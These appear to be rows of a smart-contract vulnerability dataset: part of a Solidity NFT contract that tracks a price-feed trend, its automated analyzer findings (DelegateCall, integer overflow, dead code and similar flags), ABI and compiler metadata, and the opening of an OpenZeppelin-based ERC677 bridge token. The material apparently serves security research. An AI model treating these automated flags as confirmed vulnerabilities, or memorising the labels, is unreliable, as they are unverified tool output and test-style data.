uint256 currentDayTimestamp = timestamp % secondsInDay;
uint256 currentDateTimestamp = timestamp - currentDayTimestamp;
return currentDateTimestamp;
}
function updatePrice() public {
(
int256 price,
uint256 timestamp // the time price feed last updated (not the time oracle called)
) = _getLatestPrice();
uint256 date = _getDateTimestamp(timestamp);
require(
date != latestDateChecked,
"Latest available price from price feed has already been set for the day"
);
int256 prevPrice = latestPrice;
uint256 prevDate = latestDateChecked;
uint32 secondsInDay = 86_400;
if (price - prevPrice > 0) { // price appreciated
if (prevDate == date - secondsInDay) {
// previous check was previous day
trend > 0 ? trend++ : trend = 1;
} else {
trend = 1;
}
if (price >= 20000_00000000) {
_status = Status.twentyThousand;
} else if (trend >= 5) {
_status = Status.Up5;
} else if (trend >= 2) {
_status = Status.Up2;
} else if (trend == 1) {
_status = Status.Up1;
}
} else if (price - prevPrice < 0) { // price depreciated
if (prevDate == date - secondsInDay) {
// previous check was previous day
trend < 0 ? trend-- : trend = -1;
} else {
trend = -1;
}
if (price >= 20000_00000000) {
// 8 decimal places
_status = Status.twentyThousand;
} else if (trend <= -5) {
_status = Status.Down5;
} else if (trend <= -2) {
_status = Status.Down2;
} else if (trend == -1) {
_status = Status.Down1;
}
} else if (price - prevPrice == 0) { // price static
if (prevDate != date - secondsInDay) {
// previous check was not previous day
trend > 0 ? trend = 1 : trend = -1;
if (price >= 20000_00000000) {
_status = Status.twentyThousand;
} else if (trend >= 5) {
_status = Status.Up5;
} else if (trend >= 2) {
_status = Status.Up2;
} else if (trend == 1) {
_status = Status.Up1;
} else if (trend <= -5) {
_status = Status.Down5;
} else if (trend <= -2) {
_status = Status.Down2;
} else if (trend == -1) {
_status = Status.Down1;
}
} // else trend and _status remain unchanged
}
latestPrice = price;
latestDateChecked = date;
}
function checkUpkeep(bytes calldata checkData)
external
view
returns (bool upkeepNeeded, bytes memory performData)
{
uint32 secondsInDay = 86_400;
(, uint256 timestamp) = _getLatestPrice();
timestamp >= latestDateChecked + secondsInDay
? upkeepNeeded = true
: upkeepNeeded = false;
performData = checkData;
}
function performUpkeep(bytes calldata performData) external {
updatePrice();
}
} | [{"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["380"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["477", "1111", "455"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["594"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["1017", "1002", "59", "1029", "598", "862"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1149", "1150", "1166", "1167", "1177", "1179", "1181", "1184", "1185", "1197", "1199", "1201", "846", "845", "795", "819", "1129"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [883, 884, 885]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [246]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [393, 394, 395, 396]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [1044]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [266, 267, 268, 269, 270, 271, 272]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [317, 318, 319]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [376, 377, 378, 379, 380, 381, 382]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [480, 481, 482, 483, 484, 473, 474, 475, 476, 477, 478, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [368, 366, 367]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [327, 328, 329, 330, 331, 332, 333, 334]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [426, 427, 428, 429]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [344, 342, 343]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [772, 773, 774, 775]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [637, 638, 639]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [304, 302, 303]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [764, 765, 766]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [352, 353, 354, 355, 356, 357, 358]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [292, 293, 294]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [617, 618, 619]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [1024, 1025, 1026, 1027]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [696, 694, 695]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [684, 685, 686, 687, 688, 689]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [644, 645, 646, 647, 648, 649, 650, 651, 652, 653]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [1033, 1034, 1035, 1036, 1037]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [624, 625, 626, 627, 628, 629, 630, 631]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [610, 611, 612]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [593, 594, 595, 596]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CurseNFT.sol": [672, 667, 668, 669, 670, 671]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [437]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [508]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [187]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [538]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [409]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [33]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [216]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [162]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [974]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [7]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [915]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [270]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [380]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [332]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [356]}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [1045, 1046, 1047, 1048, 1049, 1050, 1051]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [443]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [701]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"CurseNFT.sol": [884]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"CurseNFT.sol": [877]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"CurseNFT.sol": [879]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"CurseNFT.sol": [421, 422, 423, 424, 425, 426, 427, 428, 429, 430]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [1189]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [1157]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"CurseNFT.sol": [1174]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"CurseNFT.sol": [876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 494, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 774, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 793, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 814, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 817, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 843, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1026, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1087, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1091, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 33, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 162, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 187, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 216, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 409, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 437, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 508, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 538, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 915, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 974, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 443, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 556, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 559, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 562, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 565, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 568, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 571, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 989, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1066, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1068, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1069, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 879, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 239, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 948, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 959, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1048, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1110, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1214, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 426, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 883, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 266, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 576, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 996, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1076, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 266, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 266, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 267, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 267, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 267, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 267, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 270, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 270, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 270, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"baseURI","type":"string"},{"internalType":"address","name":"priceFeedOracle","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"checkData","type":"bytes"}],"name":"checkUpkeep","outputs":[{"internalType":"bool","name":"upkeepNeeded","type":"bool"},{"internalType":"bytes","name":"performData","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestDateChecked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestPrice","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"performData","type":"bytes"}],"name":"performUpkeep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"priceFeedOracle","type":"address"}],"name":"setPriceFeedOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"trend","outputs":[{"internalType":"int16","name":"","type":"int16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"updatePrice","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | 00000000000000000000000000000000000000000000000000000000000000400000000000000000000000005f4ec3df9cbd43714fe2740f5e3616155c5b84190000000000000000000000000000000000000000000000000000000000000000 | Default | None | false | ipfs://535c109869a43f9020a10541f080d7595b6aaaf11903ee8a14a2bd0e0f7a173c |
||
ERC677BridgeToken | 0x3a1796372d69d3668c9a78db40cfe13d92c27410 | Solidity | /**
*Submitted for verification at Etherscan.io on 2020-04-06
*/
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
pragma solidity ^0.4.24;
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
pragma solidity ^0.4.24;
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public
view
returns (uint256);
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
pragma solidity ^0.4.24;
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue)
);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
pragma solidity ^0.4.24;
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
pragma solidity ^0.4.24;
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(
string _name,
string _symbol,
uint8 _decimals
) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: openzeppelin-solidity/contracts/AddressUtils.sol
pragma solidity ^0.4.24;
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
}
// File: contracts/interfaces/ERC677.sol
pragma solidity 0.4.24;
contract ERC677 is ERC20 {
event Transfer(
address indexed from,
address indexed to,
uint256 value,
bytes data
);
function transferAndCall(
address,
uint256,
bytes
) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool);
